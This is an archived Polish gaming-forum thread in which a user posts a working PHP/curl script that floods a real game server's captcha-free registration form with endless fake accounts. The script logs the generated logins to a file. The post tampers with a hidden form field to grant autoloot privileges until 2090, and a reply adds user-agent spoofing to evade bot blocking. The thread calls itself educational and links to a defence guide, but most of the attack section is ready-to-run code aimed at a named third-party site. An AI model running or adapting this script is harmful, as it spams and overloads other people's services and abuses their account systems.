Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

"Tester" Rejestracji, Czyli Jak Założyć Wiele Kont W Krótkim Czasie.


XaviPrawdziwy

Rekomendowane odpowiedzi

Opublikowano

Mały skrypt php spamujący niezabezpieczone captchą rejestracje, nadający się do testów stabilności serwera www + mysql.

Co jest wymagane, aby skrypt działał?

Interpreter php - serwer www nie jest wymagany, skrypt może być odpalany z linii poleceń(np. php.exe skrypt.php)

Wymagana jest też biblioteka curl(google:) )

Interpreter można ściągnąć z php.net

Jakby ktoś był ewidentnie niekumaty gotowe archiwum:

http://www.speedyshare.com/files/22132207/php5.7z

W paczce jest zawartych już kilka skryptów, kiedyś działających, teraz chyba wszystkie rejestracje zostały "ocaptchowane".

 

Skan:

http://www.virustotal.com/pl/analisis/d13e5963fd4d7b140696cca0b814a9135a3c03fb30587ba6898f0c23d13cc6d8-1272289121

0/38

Należy rozpakować, aby otrzymać pliki w C:/php5, lub też wypakować "gdzie chceta" i edytować plik php.ini

Zmieniamy ścieżki:

upload_tmp_dir="C:\Windows\Temp"

session.save_path="C:\Windows\Temp"

error_log="C:\Windows\temp\php-errors.log"

extension_dir="C:\php5\ext"

Na odpowiednie dla siebie.

Następnie przejdźmy do edycji skryptu.

Kod skryptu:

<?php

for($i=1; $i > 0 ; $i++){
$handle = fopen('konta.txt', "a");
$postFields['username'] = substr(uniqid(), 5, 10);
$haslo = substr(uniqid(), 0, 5);
$rand1 = rand(0,10);
$rand2 = rand(10,100);
$los = $rand1 + $rand2;
$haslo = $haslo.$los;
$postFields['password'] = $haslo;
$postFields['rl_name'] = $haslo;
$postFields['social_id'] = rand(1000000,9999999);
$postFields['autoloot_expire'] = '2090-04-25 18:00:00';
$postFields['submit'] = 'Register';
print_r($postFields);
$ch = curl_init('http://avalonmt2.pl/rejestracja/index.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);

curl_exec($ch);
curl_close($ch);
fwrite($handle, 'ID:'.$postFields['username'].' HASLO: '. $haslo."\n");
fclose($handle);

}
?>

I co z tym zrobić?

Ano trzeba znaleźć sobie "ofiarę".

Posłużę się dla przykładu Avalonem(sorry chłopaki, nie mam nic do Was po prostu nie chce mi się szukać innych stron)

Rejestracja to:

http://avalonmt2.pl/rejestracja/index.php

(nie odpalajacie tego skryptu, weźcie przykład jak skonfigurować skrypt i nie atakujcie avalonu ;-) )

Otwieramy źródło strony i mamy:

<form action="index.php" method="post"><br>
				<input type="hidden" maxlength="19"  name="autoloot_expire" value="2010-04-25 18:00:00" size="60" />

				<table>
				<tr>
				<td width="200">Nazwa użytkownika:
				<td><input type="text" name="username" maxlength="12" size="30" />Max 12 znaków.
				<br>
				<tr><td width="200">Hasło:
				<td><input type="password" name="password" maxlength="20" size="30" />Max 20 znaków.
				<br>
				<tr><td width="200">Powtórz hasło:
				<td><input type="password" name="rl_name" maxlength="20" size="30" />Max 20 znaków.
				<br>
				<tr><td width="200">Kod usunięcia postaci:
				<td><input type="text" name="social_id" maxlength="7" size="20" />

				<br>

				<input type="submit" name="submit" value="Register" />
				</table>

		</form>

Po kolei:

<form action="index.php"..

Co z tym zrobić?

Edytujemy linijkę:

$ch = curl_init...

Na pełną ścieżkę razem z atrybutem zawartym w action, otrzymujemy:

$ch = curl_init('http://avalonmt2.pl/rejestracja/index.php');

Dalej, pola formularza.

username, password powinny być to losowe ciągi znaków, natomiast rl_name(w tym przypadku użyte jako powtórzenie hasła) powinno być równe polu hasła.

Kod usunięcia powinien być również ciągiem losowym, ja dla "prostoty" użyłem liczb.

Więc mamy:

$postFields['username'] = substr(uniqid(), 5, 10);   # "Losowa zawartość, w praktyce wyniki będące "obok siebie" będą bardzo podobne, ale nie identyczne, można zastąpić to inną funkcją, która zwróci nam "losowy" string.
$haslo = substr(uniqid(), 0, 5); # jw, ale jeszcze mniejsza losowość
$rand1 = rand(0,10); # losowanie pierwszej liczby
$rand2 = rand(10,100); # losowanie drugiej liczby 
$los = $rand1 + $rand2;  #dodanie dwóch liczb, specjalnie rozbiłem to na 3 zmienne, żeby było to łatwiejsze do zrozumienia dla Was
$haslo = $haslo.$los;  #zbicie jednego "hasła"
$postFields['password'] = $haslo; #przypisanie polu formularza nowego hasła
$postFields['rl_name'] = $haslo; #przypisanie polu formularza z powtórzeniem hasła ponownie to samo hasło.
$postFields['social_id'] = rand(1000000,9999999); # losowa liczba, kod usunięcia postaci

Zostało nam jeszcze pole

autoloot_expire

Nie wiem kto był taki sprytny, że wpadł na pomysł przesyłania tej wartości przez formularz w polu ukrytym(edycja tego pola to kilkadziesiąt sekund w operze, bez ściągania dodatków itd.)

Możemy sobie dać tego dużo:

$postFields['autoloot_expire'] = '2090-04-25 18:00:00';

Możemy też zmienić nazwę pliku z hasłami:

$handle = fopen('konta.txt', "a");

(na systemach *niksowych należy pamiętać o nadaniu uprawnień do zapisu na ten plik.

Skrypt jest gotowy - możemy go umieścić na serwerze www(wymagany curl), ale przy standardowych ustawieniach po 60sekundach skrypt zostanie "ubity", więc można zmienić wartość

max_execution_time

w php.ini na 0, ale warto zaznaczyć, że nie każdy hosting(a właściwie mało który) umożliwia zmianę takich parametrów.

Jeżeli pobraliście paczkę z mojej wrzuty wystarczy wejść do katalogu(otwieramy wiersz poleceń, lub w polu uruchom wpisujemy cmd.exe)

Następnie wpisujemy:

cd C:/php5

I co nam zostało?

Odpalenie skryptu:)

php.exe nazwaskryptu.php

("nazwaskryptu" należy oczywiście zastąpić nazwą, którą nadaliśmy utworzonemu skryptowi)

Pętla jest nieskończona - będzie lecieć, aż skrypt nie zostanie wyłączony. Jak to zrobić? Wciskamy ctrl+c i wsio.

Nie odpowiadam za wykorzystanie tego skryptu do "złych" czynów.

Nie atakujcie cudzych formularzy.

Pamiętajcie, że nie jesteście bezkarni w sieci.

Temat ma charakter edukacyjny.

Skrypt został celowo "rozwlekle" i niezbyt ładnie napisany, żeby był łatwiejszy do zrozumienia.

Skrypt został napisany przeze mnie, nie jest to tłumaczenie z elitepvpers, czy innego forum.

Zezwalam na kopiowanie poradnika wyłącznie w przypadku pozostawienia informacji o autorze(Xavi - http://youtube.com/xavipoland)

Pamiętajcie, nikt nie lubi abuserów ;-)

Jeżeli chcecie, aby wyniki były łatwe do usunięcia stosujcie wszędzie to samo hasło,

$postFields['password'] = 'testskryptu05';
$postFields['rl_name'] = 'testskryptu05';

Wtedy można wyrzucić wszystkie konta utworzone przez skrypt za jednym zamachem poprzez hasz hasła.

Pamiętajcie, że nie na każdej rejestracji pola się tak nazywają, więc nie jest to poradnik typu: przekopiuj, odpal i się ciesz - trzeba zrozumieć jak to działa i wtedy przerabianie skryptu pod nowe formularze będzie zajmowało dziesiątki sekund ;-)

Co jeszcze?

W pliku .txt tworzone są wpisy haseł w formacie:

ID:login HASLO: hasło

-

Jak np. wygenerować losowy mail?

$postFields['email'] = substr(uniqid(), 3, 10).'@'.substr(uniqid(), 7, 9).".pl";

Tutaj macie poprzedni mój wpis dotyczący tego skryptu, może też coś się przyda:

http://www.mpcforum.pl/topic/132643-bot-do-rejestracji/page__view__findpost__p__899853

Czasami warto złapać pierwszy z brzega wpis i sprawdzić czy dane się zgadzają - na wszelki wypadek, żeby sprawdzić, czy skrypt działa prawidłowo.

Dzięki temu samemu plikowi można po napisaniu wyrażenia regularnego(praca domowa, nie ma tak łatwo:D) napisać skrypt kasujący konta podane w pliku.

Pozdrowionka ;-)

 

--

Jak się przed tym zabezpieczyć?

http://www.mpcforum.pl/topic/127109-jak-w-prosty-sposob-zabezpieczyc-sie-przed-botami-spamujacymi-reje/page__p__830195entry830195

Opublikowano

no to teraz trzeba bedzie zrobic i udostepnic reje z captcha ;] ale teraz tego raczej nie zrobie [zlamana prawa reka ;0]

 

ps nie latwiej bylo dodawac konta w petli? ;p

 

down; niewazne, mialem na mysli cos innego [nie wiedzialem jak to ujac xD], ale t by przeszlo tylko na kompie ga, wiec twoj sposob jest o wiele lepszy ;] co do rejestracji, nie widzialem tego tuta nawet xD

Opublikowano

Kuba, a w czym to jest niby dodawane?

W pętli tylko za pomocą curla - korzystamy ze skryptu na stronie www, a nie z połączenia z bazą.

U siebie na serwerze można to przy pomocy zwykłych zapytań do mysqla zrobić, ale "testując" czyjąś rejestrację trzeba to zrobić "przez formularz"(defacto formularz nie jest nawet ładowany, ponieważ nasz skrypt wysyła skryptowi "walidującemu" już "wypełnione" pola, więc "walidator myśli", że jesteśmy normalnym userem)

Jeżeli jest założona blokada na przeglądarkę(bardzo prymitywny sposób odrzucania botów) można dorzucić linijkę:

curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" );

Po linijce curl_init i będzie ok.

 

Co do rejestracji z captchą - zamieszczałem już taki poradnik.

http://www.mpcforum.pl/topic/127109-jak-w-prosty-sposob-zabezpieczyc-sie-przed-botami-spamujacymi-reje/page__p__830195entry830195

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...